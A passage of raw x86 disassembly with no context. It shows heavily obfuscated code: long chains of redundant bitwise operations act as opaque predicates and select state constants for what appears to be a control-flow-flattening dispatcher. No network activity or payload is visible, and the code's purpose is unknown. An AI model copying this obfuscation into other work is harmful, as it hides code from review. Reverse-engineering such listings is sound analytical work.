mov al, byte [ebp - 0x4a226]
or bh, al
mov al, byte [ebp - 0x4a225]
xor cl, bh
or dl, bl
xor dl, 0xff
or ah, 0
and dl, ah
or cl, dl
mov ah, al
xor ah, 0xff
mov dl, cl
and dl, ah
xor cl, 0xff
and al, cl
or dl, al
mov al, dh
xor al, 0xff
mov ah, ch
xor ah, 0xff
mov cl, 1
xor cl, 0
or al, ah
or cl, 0
xor al, 0xff
and al, cl
mov cl, dh
xor cl, 0xff
and cl, 0
mov bl, 1
xor bl, 0
and dh, bl
mov ah, ch
xor ah, 0xff
and ah, 0
and ch, bl
or cl, dh
or ah, ch
xor cl, ah
mov bh, al
and bh, cl
xor al, cl
or bh, al
mov al, bh
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
mov cl, bh
and cl, ah
or al, cl
xor al, 0xff
xor al, 1
and al, 0xff
mov ah, 1
xor ah, 1
and ah, 0
mov ch, 1
xor ch, 0
mov dh, ch
and dh, 1
mov cl, 1
xor cl, 1
and cl, 0
and ch, 1
or ah, dh
or cl, ch
xor ah, cl
xor bh, 0xff
xor ah, 0xff
mov cl, 1
xor cl, 0
or bh, ah
or cl, 0
xor bh, 0xff
and bh, cl
mov cl, al
xor cl, 0xff
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 1
mov ah, cl
and ah, 0xff
and al, ch
mov bl, dh
and bl, 0xff
and bh, ch
or ah, al
mov al, byte [ebp - 0x4a224]
or bl, bh
xor ah, bl
or cl, dh
xor cl, 0xff
or ch, 1
and cl, ch
or ah, cl
mov ch, 1
xor ch, 0
and ch, 1
mov dh, 1
xor dh, 1
mov bl, dh
and bl, 0
mov cl, 1
xor cl, 1
and cl, 0xff
and dh, 1
or ch, bl
or cl, dh
xor ch, cl
mov dh, al
xor dh, 0xff
and dh, 1
mov cl, 1
xor cl, 1
and al, cl
or dh, al
mov bl, 1
xor bl, 0
and bl, 1
mov cl, 1
xor cl, 1
mov bh, cl
and bh, 0
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or bl, bh
or al, cl
xor bl, al
mov byte [ebp - 0x4a21c], bl
mov cl, 1
xor cl, 0
mov al, ch
xor al, cl
and al, ch
mov cl, 1
xor cl, 0
xor bl, 0xff
mov bh, 1
xor bh, 1
or cl, bl
mov bl, byte [ebp - 0x4a224]
or bh, 1
xor cl, 0xff
and cl, bh
mov byte [ebp - 0x4a223], cl
mov cl, 1
xor cl, 0
mov bh, dh
xor bh, cl
mov cl, byte [ebp - 0x4a21c]
and bh, dh
mov byte [ebp - 0x4a21d], bh
xor bl, 0xff
xor cl, 0xff
mov bh, 1
xor bh, 0
or bl, cl
mov cl, byte [ebp - 0x4a223]
or bh, 0
xor bl, 0xff
and bl, bh
mov byte [ebp - 0x4a220], bl
mov bh, al
xor bh, 0xff
xor cl, 0xff
mov byte [ebp - 0x4a21f], cl
mov cl, 1
xor cl, 1
mov byte [ebp - 0x4a21e], cl
mov bl, bh
and bl, 0xff
and al, cl
mov cl, byte [ebp - 0x4a223]
mov byte [ebp - 0x4a222], al
mov al, byte [ebp - 0x4a21f]
and al, 0xff
mov byte [ebp - 0x4a221], al
mov al, byte [ebp - 0x4a21e]
and cl, al
mov al, byte [ebp - 0x4a222]
or bl, al
mov al, byte [ebp - 0x4a221]
or al, cl
mov cl, byte [ebp - 0x4a220]
xor bl, al
mov al, byte [ebp - 0x4a21f]
or bh, al
mov al, byte [ebp - 0x4a21e]
xor bh, 0xff
or al, 1
and bh, al
mov al, byte [ebp - 0x4a21d]
or bl, bh
mov bh, al
and bh, cl
xor al, cl
or bh, al
mov al, bl
xor al, 0xff
mov cl, bh
and cl, al
mov al, byte [ebp - 0x4a21c]
xor bh, 0xff
and bl, bh
or cl, bl
mov bh, ch
and bh, dh
xor ch, dh
or bh, ch
mov ch, bh
xor ch, 0xff
and ch, 0
mov bl, 1
xor bl, 0
and bh, bl
mov dh, 1
xor dh, 1
and dh, 0
and bl, 1
or ch, bh
or dh, bl
xor ch, dh
mov dh, al
and dh, 0
xor al, 0
or dh, al
xor ch, 0xff
xor dh, 0xff
mov al, 1
xor al, 1
or ch, dh
or al, 1
xor ch, 0xff
and ch, al
mov al, cl
and al, ch
xor cl, ch
or al, cl
mov cl, ah
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
and ah, ch
or cl, ah
mov ah, al
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
and al, ch
or ah, al
mov bh, 1
xor bh, 0
and bh, 1
mov ch, 1
xor ch, 1
mov dh, ch
and dh, 0
mov al, 1
xor al, 1
and al, 0xff
and ch, 1
or bh, dh
or al, ch
xor bh, al
mov al, cl
and al, ah
xor cl, ah
or al, cl
mov byte [ebp - 0x4a21b], al
mov cl, 1
xor cl, 0
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 1
mov ah, cl
and ah, 0xff
mov al, ch
and al, 0
mov bl, dh
and bl, 0xff
and bh, ch
or ah, al
mov al, byte [ebp - 0x4a21b]
or bl, bh
xor ah, bl
or cl, dh
xor cl, 0xff
or ch, 1
and cl, ch
or ah, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
and al, ch
or cl, al
xor cl, 0xff
xor ah, 0xff
mov al, 1
xor al, 0
or cl, ah
or al, 0
xor cl, 0xff
and cl, al
mov bl, dl
xor bl, 0xff
and bl, 0
mov ah, 1
xor ah, 0
mov ch, dl
and ch, ah
mov al, 1
xor al, 1
and al, 0
and ah, 1
or bl, ch
or al, ah
xor bl, al
mov byte [ebp - 0x4a214], bl
mov ah, cl
xor ah, 0xff
and ah, 1
mov ch, 1
xor ch, 1
mov dh, cl
and dh, ch
mov al, 1
xor al, 1
and al, 0xff
and ch, 1
or ah, dh
or al, ch
xor ah, al
mov byte [ebp - 0x4a215], ah
mov bh, 1
xor bh, 0
and bh, 1
mov al, 1
xor al, 1
and al, 0
or bh, al
xor bl, 0xff
mov ch, 1
xor ch, 0
mov al, 1
xor al, 1
or bl, ch
or al, 1
xor bl, 0xff
and bl, al
mov ch, bh
xor ch, 0xff
mov al, dl
xor al, ch
and al, dl
mov ch, 1
xor ch, 0
mov dl, ah
xor dl, ch
and dl, ah
mov byte [ebp - 0x4a218], dl
xor cl, 0xff
mov ah, bh
xor ah, 0xff
mov dl, 1
xor dl, 0
or cl, ah
or dl, 0
xor cl, 0xff
and cl, dl
mov ah, bl
xor ah, 0xff
mov dh, al
xor dh, 0xff
mov ch, 1
xor ch, 0
mov dl, ah
and dl, 0
and bl, ch
mov byte [ebp - 0x4a21a], bl
mov bl, dh
and bl, 0
and al, ch
mov byte [ebp - 0x4a219], al
mov al, byte [ebp - 0x4a21a]
or dl, al
mov al, byte [ebp - 0x4a219]
or bl, al
mov al, byte [ebp - 0x4a218]
xor dl, bl
or ah, dh
xor ah, 0xff
or ch, 0
and ah, ch
or dl, ah
mov ch, al
xor ch, 0xff
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 1
mov ah, ch
and ah, 0xff
and al, dh
mov byte [ebp - 0x4a217], al
mov al, bl
and al, 0xff
mov byte [ebp - 0x4a216], al
mov al, byte [ebp - 0x4a217]
and cl, dh
or ah, al
mov al, byte [ebp - 0x4a216]
or al, cl
mov cl, byte [ebp - 0x4a215]
xor ah, al
mov al, byte [ebp - 0x4a214]
or ch, bl
xor ch, 0xff
or dh, 1
and ch, dh
or ah, ch
mov ch, dl
xor ch, 0xff
mov bl, ah
and bl, ch
xor ah, 0xff
and dl, ah
or bl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov dh, dl
xor dh, 0xff
and dh, 1
mov cl, 1
xor cl, 1
and dl, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or dh, dl
or al, cl
xor dh, al
mov cl, 1
xor cl, 0
mov byte [ebp - 0x4a213], cl
mov ah, bh
xor ah, 0xff
mov dl, 1
xor dl, 0
and cl, 0
mov al, dl
and al, 0
mov ch, ah
and ch, 0
and bh, dl
or cl, al
mov al, byte [ebp - 0x4a213]
or ch, bh
xor cl, ch
or al, ah
xor al, 0xff
or dl, 0
and al, dl
or cl, al
xor dh, 0xff
xor cl, 0xff
mov al, 1
xor al, 1
or dh, cl
or al, 1
xor dh, 0xff
and dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb1fa2e73
mov ecx, 0x500fbb84
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x49a70], eax
jmp 0x42c62f
mov ecx, dword [0x501548]
mov eax, dword [0x501544]
mov edi, 0x6c2bea1f
add edi, 0
sub edi, 1
sub edi, 0x6c2bea1f
xor edx, edx
sub edx, 0
xor esi, esi
sub esi, edi
add edx, esi
xor edi, edi
sub edi, edx
mov edx, ecx
add edx, 0x1fae4be4
sub edx, 0x939c2ee0
sub edx, 0x1fae4be4
xor esi, esi
sub esi, edi
sub edx, esi
add edx, 0x825e0dc5
add edx, 0x939c2ee0
sub edx, 0x825e0dc5
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete dl
mov byte [ebp - 0x4a392], dl
cmp eax, 0xa
setl bh
mov al, dl
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
mov ch, dl
and ch, ah
mov cl, 1
xor cl, 1
and cl, 0xff
and ah, 1
or al, ch
or cl, ah
xor al, cl
xor al, 0xff
xor al, 1
and al, 0xff
mov ah, 1
xor ah, 1
and ah, 1
mov ch, 1
xor ch, 1
mov dh, ch
and dh, 1
mov cl, 1
xor cl, 1
and cl, 0xff
and ch, 1
or ah, dh
or cl, ch
xor ah, cl
xor ah, 0xff
mov cl, dl
xor cl, ah
and cl, dl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov al, bh
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
mov cl, bh
and cl, ah
or al, cl
xor al, 0xff
xor al, 0
and al, 0
mov ah, 1
xor ah, 0
and ah, 1
mov ch, 1
xor ch, 1
mov dh, ch
and dh, 0
mov cl, 1
xor cl, 1
and cl, 0xff
and ch, 1
or ah, dh
or cl, ch
xor ah, cl
mov ch, ah
xor ch, 0xff
mov cl, bh
xor cl, ch
and cl, bh
mov ch, 1
xor ch, 1
and ch, 1
mov dh, 1
xor dh, 1
and dh, 1
or ch, dh
xor ch, 0xff
mov bl, 1
xor bl, 0
mov dh, 1
xor dh, 1
or ch, bl
or dh, 1
xor ch, 0xff
and ch, dh
mov byte [ebp - 0x4a396], ch
xor ah, 0xff
xor ah, 1
and ah, 0xff
mov byte [ebp - 0x4a397], ah
mov ah, al
xor ah, 0xff
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 1
mov ch, ah
and ch, 0xff
and al, dh
mov byte [ebp - 0x4a399], al
mov al, bl
and al, 0xff
mov byte [ebp - 0x4a398], al
mov al, byte [ebp - 0x4a399]
and cl, dh
or ch, al
mov al, byte [ebp - 0x4a398]
or al, cl
mov cl, byte [ebp - 0x4a397]
xor ch, al
mov al, byte [ebp - 0x4a396]
or ah, bl
xor ah, 0xff
or dh, 1
and ah, dh
or ch, ah
mov ah, al
and ah, cl
xor al, cl
or ah, al
mov al, ch
xor al, 0xff
and al, 1
mov dh, 1
xor dh, 1
and ch, dh
mov cl, ah
xor cl, 0xff
and cl, 0xff
and ah, dh
or al, ch
or cl, ah
xor al, cl
mov byte [ebp - 0x4a36e], al
mov cl, 1
xor cl, 1
and cl, 1
mov al, 1
xor al, 1
and al, 1
or cl, al
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov bl, 1
xor bl, 1
and bl, 1
mov al, 1
xor al, 1
and al, 1
or bl, al
xor bl, 0xff
xor bl, 1
and bl, 0xff
mov al, cl
xor al, 0xff
mov byte [ebp - 0x4a395], al
mov ch, bl
xor ch, 0xff
mov ah, 1
xor ah, 0
and al, 0
and cl, ah
mov dh, ch
and dh, 0
and bl, ah
or al, cl
mov cl, byte [ebp - 0x4a395]
or dh, bl
xor al, dh
or cl, ch
xor cl, 0xff
or ah, 0
and cl, ah
or al, cl
mov byte [ebp - 0x4a365], al
mov al, dl
xor al, 0xff
and al, 1
mov ah, 1
xor ah, 1
mov cl, dl
and cl, ah
or al, cl
mov ah, 1
xor ah, 1
and ah, 1
mov cl, 1
xor cl, 1
and cl, 1
or ah, cl
mov cl, 1
xor cl, 0
and cl, 1
mov ch, 1
xor ch, 1
and ch, 0
or cl, ch
mov ch, al
and ch, ah
xor al, ah
or ch, al
mov dh, 1
xor dh, 0
mov byte [ebp - 0x4a391], dh
mov bl, cl
xor bl, 0xff
mov ah, 1
xor ah, 0
and dh, 0
mov al, ah
and al, 0
mov byte [ebp - 0x4a394], al
mov al, bl
and al, 0
mov byte [ebp - 0x4a393], al
mov al, byte [ebp - 0x4a394]
and cl, ah
or dh, al
mov al, byte [ebp - 0x4a393]
or al, cl
mov cl, byte [ebp - 0x4a392]
xor dh, al
mov al, byte [ebp - 0x4a391]
or al, bl
xor al, 0xff
or ah, 0
and al, ah
or dh, al
mov ah, ch
xor ah, 0xff
and ah, 1
mov bl, 1
xor bl, 1
and ch, bl
mov al, 1
xor al, 1
and al, 0xff
and bl, 1
or ah, ch
mov ch, byte [ebp - 0x4a365]
or al, bl
xor ah, al
xor dh, 0xff
mov al, ah
xor al, dh
and al, ah
mov byte [ebp - 0x4a388], al
mov dh, ch
xor dh, 0xff
and dh, 1
mov ah, 1
xor ah, 1
mov al, ch
and al, ah
or dh, al
mov ah, cl
xor ah, 0xff
mov al, dh
and al, ah
xor dh, 0xff
mov ah, cl
and ah, dh
or al, ah
xor cl, 0xff
mov bl, al
xor bl, cl
and bl, al
mov dh, 1
xor dh, 1
and dh, 0
mov ah, 1
xor ah, 0
mov cl, ah
and cl, 1
mov al, 1
xor al, 1
and al, 0
and ah, 1
or dh, cl
mov cl, byte [ebp - 0x4a36e]
or al, ah
xor dh, al
mov al, cl
xor al, 0xff
mov ah, dh
and ah, al
xor dh, 0xff
mov al, cl
and al, dh
or ah, al
xor ah, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or ah, cl
or al, 0
xor ah, 0xff
and ah, al
mov al, bh
xor al, 0xff
and al, 1
mov dh, 1
xor dh, 1
and bh, dh
mov cl, 1
xor cl, 1
and cl, 0xff
and dh, 1
or al, bh
or cl, dh
xor al, cl
mov cl, ch
xor cl, 0xff
and cl, 1
mov dh, 1
xor dh, 1
and ch, dh
or cl, ch
mov ch, 1
xor ch, 0
and ch, 1
mov dh, 1
xor dh, 1
and dh, 0
or ch, dh
mov byte [ebp - 0x4a38e], ch
mov ch, al
xor ch, 0xff
mov byte [ebp - 0x4a38d], ch
mov bh, cl
xor bh, 0xff
mov dh, 1
xor dh, 1
and ch, 0xff
and al, dh
mov byte [ebp - 0x4a390], al
mov al, bh
and al, 0xff
mov byte [ebp - 0x4a38f], al
mov al, byte [ebp - 0x4a390]
and cl, dh
or ch, al
mov al, byte [ebp - 0x4a38f]
or al, cl
mov cl, byte [ebp - 0x4a38e]
xor ch, al
mov al, byte [ebp - 0x4a38d]
or al, bh
xor al, 0xff
or dh, 1
and al, dh
or ch, al
mov dh, 1
xor dh, 0
mov byte [ebp - 0x4a389], dh
mov al, cl
xor al, 0xff
mov byte [ebp - 0x4a38a], al
mov bh, 1
xor bh, 0
and dh, 0
mov al, bh
and al, 0
mov byte [ebp - 0x4a38c], al
mov al, byte [ebp - 0x4a38a]
and al, 0
mov byte [ebp - 0x4a38b], al
mov al, byte [ebp - 0x4a38c]
and cl, bh
or dh, al
mov al, byte [ebp - 0x4a38b]
or al, cl
mov cl, byte [ebp - 0x4a38a]
xor dh, al
mov al, byte [ebp - 0x4a389]
or al, cl
mov cl, byte [ebp - 0x4a388]
xor al, 0xff
or bh, 0
and al, bh
or dh, al
mov al, ch
xor al, 0xff
and al, 1
mov bh, 1
xor bh, 1
and ch, bh
or al, ch
xor dh, 0xff
mov ch, al
xor ch, dh
and ch, al
mov al, cl
xor al, 0xff
and al, 1
mov dh, 1
xor dh, 1
and cl, dh
or al, cl
mov byte [ebp - 0x4a37d], al
mov al, bl
xor al, 0xff
and al, 1
mov bh, 1
xor bh, 1
mov cl, bl
and cl, bh
mov dh, 1
xor dh, 1
and dh, 0xff
and bh, 1
or al, cl
mov cl, byte [ebp - 0x4a388]
or dh, bh
mov bh, byte [ebp - 0x4a37d]
xor al, dh
mov byte [ebp - 0x4a37e], al
mov al, 1
xor al, 1
and al, 1
mov dh, 1
xor dh, 1
and dh, 1
or al, dh
mov byte [ebp - 0x4a378], al
mov dh, 1
xor dh, 1
mov al, bh
xor al, dh
mov dh, byte [ebp - 0x4a378]
and al, bh
xor cl, 0xff
xor dh, 0xff
mov bh, 1
xor bh, 0
or cl, dh
mov dh, byte [ebp - 0x4a37e]
or bh, 0
xor cl, 0xff
and cl, bh
mov bh, 1
xor bh, 1
xor dh, bh
mov bh, byte [ebp - 0x4a37e]
and dh, bh
mov bh, byte [ebp - 0x4a378]
mov byte [ebp - 0x4a383], dh
xor bh, 0xff
mov dh, bl
xor dh, bh
and dh, bl
mov byte [ebp - 0x4a385], dh
mov bl, al
xor bl, 0xff
mov dh, cl
xor dh, 0xff
mov byte [ebp - 0x4a384], dh
mov bh, 1
xor bh, 0
mov dh, bl
and dh, 0
and al, bh
mov byte [ebp - 0x4a387], al
mov al, byte [ebp - 0x4a384]
and al, 0
mov byte [ebp - 0x4a386], al
mov al, byte [ebp - 0x4a387]
and cl, bh
or dh, al
mov al, byte [ebp - 0x4a386]
or al, cl
mov cl, byte [ebp - 0x4a385]
xor dh, al
mov al, byte [ebp - 0x4a384]
or bl, al
mov al, byte [ebp - 0x4a383]
xor bl, 0xff
or bh, 0
and bl, bh
or dh, bl
mov bl, al
xor bl, 0xff
mov byte [ebp - 0x4a37f], bl
mov bh, cl
xor bh, 0xff
mov byte [ebp - 0x4a380], bh
mov bh, 1
xor bh, 0
and bl, 0
and al, bh
mov byte [ebp - 0x4a382], al
mov al, byte [ebp - 0x4a380]
and al, 0
mov byte [ebp - 0x4a381], al
mov al, byte [ebp - 0x4a382]
and cl, bh
or bl, al
mov al, byte [ebp - 0x4a381]
or al, cl
mov cl, byte [ebp - 0x4a380]
xor bl, al
mov al, byte [ebp - 0x4a37f]
or al, cl
mov cl, byte [ebp - 0x4a37e]
xor al, 0xff
or bh, 0
and al, bh
or bl, al
mov al, dh
xor al, 0xff
mov bh, bl
and bh, al
mov al, byte [ebp - 0x4a37d]
xor bl, 0xff
and dh, bl
or bh, dh
mov dh, al
xor dh, 0xff
mov byte [ebp - 0x4a379], dh
mov bl, cl
xor bl, 0xff
mov byte [ebp - 0x4a37a], bl
mov bl, 1
xor bl, 1
and dh, 0xff
and al, bl
mov byte [ebp - 0x4a37c], al
mov al, byte [ebp - 0x4a37a]
and al, 0xff
mov byte [ebp - 0x4a37b], al
mov al, byte [ebp - 0x4a37c]
and cl, bl
or dh, al
mov al, byte [ebp - 0x4a37b]
or al, cl
mov cl, byte [ebp - 0x4a37a]
xor dh, al
mov al, byte [ebp - 0x4a379]
or al, cl
mov cl, byte [ebp - 0x4a378]
xor al, 0xff
or bl, 1
and al, bl
or dh, al
mov al, dh
xor al, 0xff
and al, 1
mov bl, 1
xor bl, 1
and dh, bl
or al, dh
mov byte [ebp - 0x4a373], al
mov dh, 1
xor dh, 1
mov byte [ebp - 0x4a375], dh
mov al, cl
xor al, 0xff
mov byte [ebp - 0x4a374], al
mov bl, 1
xor bl, 0
and dh, 0
mov al, bl
and al, 1
mov byte [ebp - 0x4a377], al
mov al, byte [ebp - 0x4a374]
and al, 0
mov byte [ebp - 0x4a376], al
mov al, byte [ebp - 0x4a377]
and cl, bl
or dh, al
mov al, byte [ebp - 0x4a376]
or al, cl
mov cl, byte [ebp - 0x4a375]
xor dh, al
mov al, byte [ebp - 0x4a374]
or cl, al
mov al, byte [ebp - 0x4a373]
xor cl, 0xff
or bl, 0
and cl, bl
or dh, cl
xor al, 0xff
xor dh, 0xff
mov cl, 1
xor cl, 1
or al, dh
or cl, 1
xor al, 0xff
and al, cl
mov bl, bh
xor bl, 0xff
mov byte [ebp - 0x4a370], bl
mov dh, al
xor dh, 0xff
mov cl, 1
xor cl, 1
and bl, 0xff
and bh, cl
mov byte [ebp - 0x4a372], bh
mov bh, dh
and bh, 0xff
and al, cl
mov byte [ebp - 0x4a371], al
mov al, byte [ebp - 0x4a372]
or bl, al
mov al, byte [ebp - 0x4a371]
or bh, al
mov al, byte [ebp - 0x4a370]
xor bl, bh
or al, dh
xor al, 0xff
or cl, 1
and al, cl
or bl, al
mov cl, ah
xor cl, 0xff
mov dh, ch
xor dh, 0xff
mov al, 1
xor al, 0
or cl, dh
or al, 0
xor cl, 0xff
and cl, al
mov dh, ah
xor dh, 0xff
mov al, ch
and al, dh
xor ch, 0xff
and ah, ch
or al, ah
mov ah, cl
xor ah, 0xff
mov dh, al
xor dh, 0xff
mov ch, 1
xor ch, 0
mov bh, ah
and bh, 0
mov byte [ebp - 0x4a36f], bh
and cl, ch
mov bh, dh
and bh, 0
and al, ch
mov byte [ebp - 0x4a36d], al
mov al, byte [ebp - 0x4a36f]
or al, cl
mov cl, byte [ebp - 0x4a36e]
mov byte [ebp - 0x4a36c], al
mov al, byte [ebp - 0x4a36d]
or bh, al
mov al, byte [ebp - 0x4a36c]
xor al, bh
or ah, dh
xor ah, 0xff
or ch, 0
and ah, ch
or al, ah
mov byte [ebp - 0x4a369], al
mov dh, bl
xor dh, 0xff
and dh, 1
mov ah, 1
xor ah, 1
mov al, bl
and al, ah
or dh, al
xor dh, 0xff
xor dh, 0
and dh, 0
mov bh, 1
xor bh, 0
and bh, 0
mov ch, 1
xor ch, 0
mov al, ch
and al, 0
mov ah, 1
xor ah, 1
and ah, 0
and ch, 1
or bh, al
mov al, byte [ebp - 0x4a369]
or ah, ch
xor bh, ah
xor bl, 0xff
mov ch, bh
xor ch, 0xff
mov ah, 1
xor ah, 0
or bl, ch
or ah, 0
xor bl, 0xff
and bl, ah
mov ah, al
xor ah, 0xff
and ah, 0
mov ch, 1
xor ch, 0
and al, ch
mov byte [ebp - 0x4a36b], al
mov al, 1
xor al, 1
and al, 0
mov byte [ebp - 0x4a36a], al
mov al, byte [ebp - 0x4a36b]
and ch, 1
or ah, al
mov al, byte [ebp - 0x4a36a]
or al, ch
xor ah, al
xor ah, 0xff
mov al, 1
xor al, 0
mov ch, 1
xor ch, 0
or ah, al
mov al, byte [ebp - 0x4a369]
or ch, 0
xor ah, 0xff
and ah, ch
xor al, 0xff
xor bh, 0xff
mov ch, 1
xor ch, 0
or al, bh
or ch, 0
xor al, 0xff
and al, ch
mov ch, dh
and ch, bl
xor dh, bl
or ch, dh
mov dh, ah
xor dh, 0xff
mov byte [ebp - 0x4a366], dh
mov bh, al
xor bh, 0xff
mov bl, 1
xor bl, 1
and dh, 0xff
and ah, bl
mov byte [ebp - 0x4a368], ah
mov ah, bh
and ah, 0xff
and al, bl
mov byte [ebp - 0x4a367], al
mov al, byte [ebp - 0x4a368]
or dh, al
mov al, byte [ebp - 0x4a367]
or ah, al
mov al, byte [ebp - 0x4a366]
xor dh, ah
mov ah, byte [ebp - 0x4a365]
or al, bh
xor al, 0xff
or bl, 1
and al, bl
or dh, al
mov bl, ch
xor bl, 0xff
mov al, dh
and al, bl
xor dh, 0xff
and ch, dh
or al, ch
mov byte [ebp - 0x4a364], al
mov bh, dl
xor bh, 0xff
mov ch, cl
xor ch, 0xff
mov al, 1
xor al, 1
or bh, ch
or al, 1
xor bh, 0xff
and bh, al
mov bl, dl
xor bl, 0xff
and bl, 1
mov ch, 1
xor ch, 1
and dl, ch
mov al, cl
xor al, 0xff
and al, 0xff
and cl, ch
or bl, dl
or al, cl
xor bl, al
mov cl, bh
xor cl, 0xff
mov ch, bl
xor ch, 0xff
mov dl, 1
xor dl, 0
mov al, cl
and al, 0
and bh, dl
mov dh, ch
and dh, 0
and bl, dl
or al, bh
or dh, bl
xor al, dh
or cl, ch
xor cl, 0xff
or dl, 0
and cl, dl
or al, cl
mov dl, al
xor dl, 0xff
and dl, 0
mov ch, 1
xor ch, 0
mov dh, al
and dh, ch
mov cl, 1
xor cl, 1
and cl, 0
and ch, 1
or dl, dh
or cl, ch
xor dl, cl
mov bh, 1
xor bh, 1
xor dl, 0xff
mov cl, 1
xor cl, 1
or bh, dl
or cl, 1
xor bh, 0xff
and bh, cl
mov cl, 1
xor cl, 1
and cl, 1
mov ch, 1
xor ch, 1
mov dh, ch
and dh, 1
mov dl, 1
xor dl, 1
and dl, 0xff
and ch, 1
or cl, dh
or dl, ch
xor cl, dl
xor cl, 0xff
mov bl, al
xor bl, cl
and bl, al
mov al, bh
xor al, 0xff
mov ch, bl
xor ch, 0xff
mov dl, 1
xor dl, 1
mov cl, al
and cl, 0xff
and bh, dl
mov dh, ch
and dh, 0xff
and bl, dl
or cl, bh
or dh, bl
xor cl, dh
or al, ch
xor al, 0xff
or dl, 1
and al, dl
or cl, al
mov al, 1
xor al, 1
mov ch, ah
xor ch, 0xff
mov dl, 1
xor dl, 1
or al, ch
or dl, 1
xor al, 0xff
and al, dl
mov ch, 1
xor ch, 1
mov dl, ah
and dl, ch
xor ah, 0xff
and ah, 1
or dl, ah
mov ah, al
and ah, dl
xor al, dl
or ah, al
mov al, cl
xor al, 0xff
and al, 1
mov dl, 1
xor dl, 1
and cl, dl
or al, cl
mov bh, ah
xor bh, 0xff
and bh, 1
mov dl, 1
xor dl, 1
and ah, dl
mov cl, 1
xor cl, 1
and cl, 0xff
and dl, 1
or bh, ah
or cl, dl
xor bh, cl
mov cl, 1
xor cl, 1
and cl, 1
mov dl, 1
xor dl, 1
and dl, 1
or cl, dl
mov ah, al
xor ah, 0xff
mov dh, bh
xor dh, 0xff
mov ch, 1
xor ch, 0
mov dl, ah
and dl, 0
and al, ch
mov bl, dh
and bl, 0
and bh, ch
or dl, al
mov al, byte [ebp - 0x4a364]
or bl, bh
xor dl, bl
or ah, dh
xor ah, 0xff
or ch, 0
and ah, ch
or dl, ah
mov ah, cl
and ah, 1
xor cl, 1
or ah, cl
mov cl, dl
xor cl, 0xff
and cl, 1
mov ch, 1
xor ch, 1
and dl, ch
or cl, dl
xor cl, 0xff
xor ah, 0xff
mov dl, 1
xor dl, 0
or cl, ah
or dl, 0
xor cl, 0xff
and cl, dl
mov dl, cl
xor dl, 0xff
mov bl, al
xor bl, dl
and bl, al
mov dl, al
xor dl, 0xff
mov dh, cl
and dh, dl
xor cl, 0xff
and al, cl
or dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x529f4565
mov ecx, 0x8ffdd435
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x49a70], eax
jmp 0x42c62f
mov dword [ebp - 0x49a70], 0xb1d09b19
jmp 0x42c62f
mov eax, dword [ebp - 0x49a54]
mov dword [ebp - 0x4a410], eax
mov esi, 0xffffffff
xor esi, 0x20000000
and esi, 0x4dd72889
mov edx, 0xffffffff
xor edx, 0x4dd72889
mov edi, edx
and edi, 0x20000000
mov ecx, 0xffffffff
xor ecx, 0xffffffff
and ecx, 0x4dd72889
and edx, 0xffffffff
or esi, edi
or ecx, edx
xor esi, ecx
mov ecx, 0xffffffff
xor ecx, 0xffffffff
xor esi, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x96eeac6e
or ecx, esi
or edx, 0x96eeac6e
xor ecx, 0xffffffff
and ecx, edx
mov edi, 0xffffffff
xor edi, 0xffffffff
and edi, 0x2b80383f
mov esi, 0xffffffff
xor esi, 0x2b80383f
mov ebx, esi
and ebx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xffffffff
and edx, 0x2b80383f
and esi, 0xffffffff
or edi, ebx
or edx, esi
xor edi, edx
mov edx, 0xffffffff
xor edx, 0x20000000
xor edi, 0xffffffff
mov esi, 0xffffffff
xor esi, 0x9d0a998b
or edx, edi
or esi, 0x9d0a998b
xor edx, 0xffffffff
and edx, esi
mov edi, ecx
and edi, edx
xor ecx, edx
or edi, ecx
mov esi, eax
xor esi, 0xffffffff
and esi, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
or esi, eax
xor esi, 0xffffffff
xor esi, 0xb485b268
and esi, 0xb485b268
mov ecx, 0xffffffff
xor ecx, 0xb485b268
and ecx, 0x5c3a5a1c
mov edx, 0xffffffff
xor edx, 0x5c3a5a1c
mov ebx, edx
and ebx, 0xb485b268
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0x5c3a5a1c
and edx, 0xffffffff
or ecx, ebx
mov ebx, dword [ebp - 0x4a410]
or eax, edx
xor ecx, eax
mov dword [ebp - 0x4a414], ecx
xor ebx, 0xffffffff
xor ecx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0x4c520d0b
or ebx, ecx
or eax, 0x4c520d0b
xor ebx, 0xffffffff
and ebx, eax
mov ecx, edi
xor ecx, 0xffffffff
and ecx, 0x7419ad8b
mov edx, 0xffffffff
xor edx, 0x7419ad8b
mov eax, edi
and eax, edx
mov dword [ebp - 0x4a41c], eax
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0x7419ad8b
mov dword [ebp - 0x4a418], eax
mov eax, dword [ebp - 0x4a41c]
and edx, 0xffffffff
or ecx, eax
